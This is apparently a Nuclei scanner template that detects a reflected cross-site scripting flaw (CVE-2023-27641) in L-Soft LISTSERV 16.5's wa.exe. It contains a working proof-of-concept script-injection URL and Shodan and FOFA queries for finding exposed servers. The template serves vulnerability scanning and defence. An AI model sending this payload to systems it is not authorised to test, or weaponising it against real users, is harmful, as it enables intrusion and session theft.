id: CVE-2023-27641

info:
  name: L-Soft LISTSERV 16.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The REPORT (after z but before a) parameter in wa.exe in L-Soft LISTSERV 16.5 before 17 allows an attacker to conduct XSS attacks via a crafted URL.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update to the latest version of L-Soft LISTSERV to mitigate the XSS vulnerability.
  reference:
    - https://github.com/hosakauk/exploits/blob/master/listserv_report_xss.MD
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27641
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27641
    cwe-id: CWE-79
    epss-score: 0.04716
    epss-percentile: 0.89508
    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
  metadata:
    vendor: lsoft
    product: listserv
    shodan-query: http.html:"LISTSERV"
    fofa-query: body="listserv"
  tags: cve2023,cve,xss,listserv,edb,lsoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wa.exe?REPORT&z=4&"><script>alert(document.domain)</script>a=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>alert(document.domain)</script>'
          - 'LISTSERV'
        case-insensitive: true
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 480a00453043022034fd92b2d0ae69b412b2919de6320fef58147647cc243777cd8349dd1baee3f2021f6d0202b22efdec4c96bf1bf3db78e62c79ffa37f820b8b2a802adfafbec4cd:922c64590222798bb761d5b6d8e72950